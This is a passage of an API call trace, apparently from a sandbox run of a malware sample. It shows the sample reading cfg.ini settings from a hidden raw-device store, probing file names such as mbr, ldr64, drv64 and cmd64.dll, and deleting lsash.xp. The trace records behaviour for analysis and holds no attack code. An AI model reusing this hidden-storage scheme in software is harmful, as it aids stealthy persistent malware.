ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.788] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.788] IdePortDispatch () returned 0x103 [0118.789] KeWaitForMutexObject () returned 0x0 [0118.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.789] KeLeaveCriticalRegion () [0118.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.789] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.789] KeEnterCriticalRegion () [0118.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c26000 [0118.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.789] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.789] IdePortDispatch () returned 0x103 [0118.789] KeWaitForMutexObject () returned 0x0 [0118.790] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.790] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.790] IdePortDispatch () returned 0x103 [0118.790] KeWaitForMutexObject () returned 0x0 [0118.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.790] KeLeaveCriticalRegion () [0118.790] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.791] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.791] KeEnterCriticalRegion () [0118.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.791] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.791] KeLeaveCriticalRegion () [0118.791] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.791] KeEnterCriticalRegion () [0118.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.791] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.791] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.791] KeLeaveCriticalRegion () [0118.791] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.791] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.791] KeEnterCriticalRegion () [0118.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.791] ExFreePoolWithTag (P=0xfffffa8003bca200, Tag=0x0) [0118.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.791] KeLeaveCriticalRegion () [0118.791] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.791] ReleaseMutex (hMutex=0xf0) returned 1 [0118.791] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.791] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.791] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.791] KeEnterCriticalRegion () [0118.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.791] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.791] IdePortDispatch () returned 0x103 [0118.792] KeWaitForMutexObject () returned 0x0 [0118.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.792] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.792] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.792] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.792] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.792] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca010 [0118.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.792] KeLeaveCriticalRegion () [0118.792] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.792] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.792] KeEnterCriticalRegion () [0118.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.792] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.792] KeLeaveCriticalRegion () [0118.792] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.792] KeEnterCriticalRegion () [0118.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.792] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.793] IdePortDispatch () returned 0x103 [0118.793] KeWaitForMutexObject () returned 0x0 [0118.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.793] KeLeaveCriticalRegion () [0118.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.793] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.793] KeEnterCriticalRegion () [0118.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c27000 [0118.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.793] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.793] IdePortDispatch () returned 0x103 [0118.794] KeWaitForMutexObject () returned 0x0 [0118.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.795] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.795] IdePortDispatch () returned 0x103 [0118.795] KeWaitForMutexObject () returned 0x0 [0118.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.795] KeLeaveCriticalRegion () [0118.795] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.796] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.796] KeEnterCriticalRegion () [0118.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.796] KeLeaveCriticalRegion () [0118.796] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.796] KeEnterCriticalRegion () [0118.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.796] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.796] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.796] KeLeaveCriticalRegion () [0118.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.796] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.796] KeEnterCriticalRegion () [0118.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.796] ExFreePoolWithTag (P=0xfffffa8003bca010, Tag=0x0) [0118.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.796] KeLeaveCriticalRegion () [0118.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.796] ReleaseMutex (hMutex=0xf0) returned 1 [0118.796] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.796] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.796] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.796] KeEnterCriticalRegion () [0118.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.797] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.797] IdePortDispatch () returned 0x103 [0118.797] KeWaitForMutexObject () returned 0x0 [0118.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.797] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.797] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.797] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.797] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.797] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc210 [0118.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.797] KeLeaveCriticalRegion () [0118.797] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.797] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.797] KeEnterCriticalRegion () [0118.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.797] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.797] KeLeaveCriticalRegion () [0118.797] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.797] KeEnterCriticalRegion () [0118.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.798] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.798] IdePortDispatch () returned 0x103 [0118.798] KeWaitForMutexObject () returned 0x0 [0118.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.798] KeLeaveCriticalRegion () [0118.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.798] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.798] KeEnterCriticalRegion () [0118.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.798] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c28000 [0118.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.798] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.798] IdePortDispatch () returned 0x103 [0118.798] KeWaitForMutexObject () returned 0x0 [0118.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.799] IdePortDispatch () returned 0x103 [0118.799] KeWaitForMutexObject () returned 0x0 [0118.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.799] KeLeaveCriticalRegion () [0118.799] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.800] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.800] KeEnterCriticalRegion () [0118.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.800] KeLeaveCriticalRegion () [0118.800] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.800] KeEnterCriticalRegion () [0118.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.800] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.800] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.800] KeLeaveCriticalRegion () [0118.800] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.800] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.800] KeEnterCriticalRegion () [0118.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.800] ExFreePoolWithTag (P=0xfffffa8003bcc210, Tag=0x0) [0118.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.800] KeLeaveCriticalRegion () [0118.800] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.800] ReleaseMutex (hMutex=0xf0) returned 1 [0118.800] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.800] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.800] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.800] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.801] KeEnterCriticalRegion () [0118.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.801] IdePortDispatch () returned 0x103 [0118.801] KeWaitForMutexObject () returned 0x0 [0118.801] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.801] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.801] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.801] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.801] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.801] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.801] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.801] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.801] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.801] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.802] KeLeaveCriticalRegion () [0118.802] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.802] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.802] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.802] KeEnterCriticalRegion () [0118.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.802] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.802] IdePortDispatch () returned 0x103 [0118.802] KeWaitForMutexObject () returned 0x0 [0118.802] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.802] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.802] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.802] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.802] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.802] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.802] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.802] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.802] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.802] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.803] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.803] KeLeaveCriticalRegion () [0118.803] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.803] ReleaseMutex (hMutex=0x100) returned 1 [0118.803] Sleep (dwMilliseconds=0x2bf20) [0118.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a02ffd0, dwHighDateTime=0x1d24fa4)) 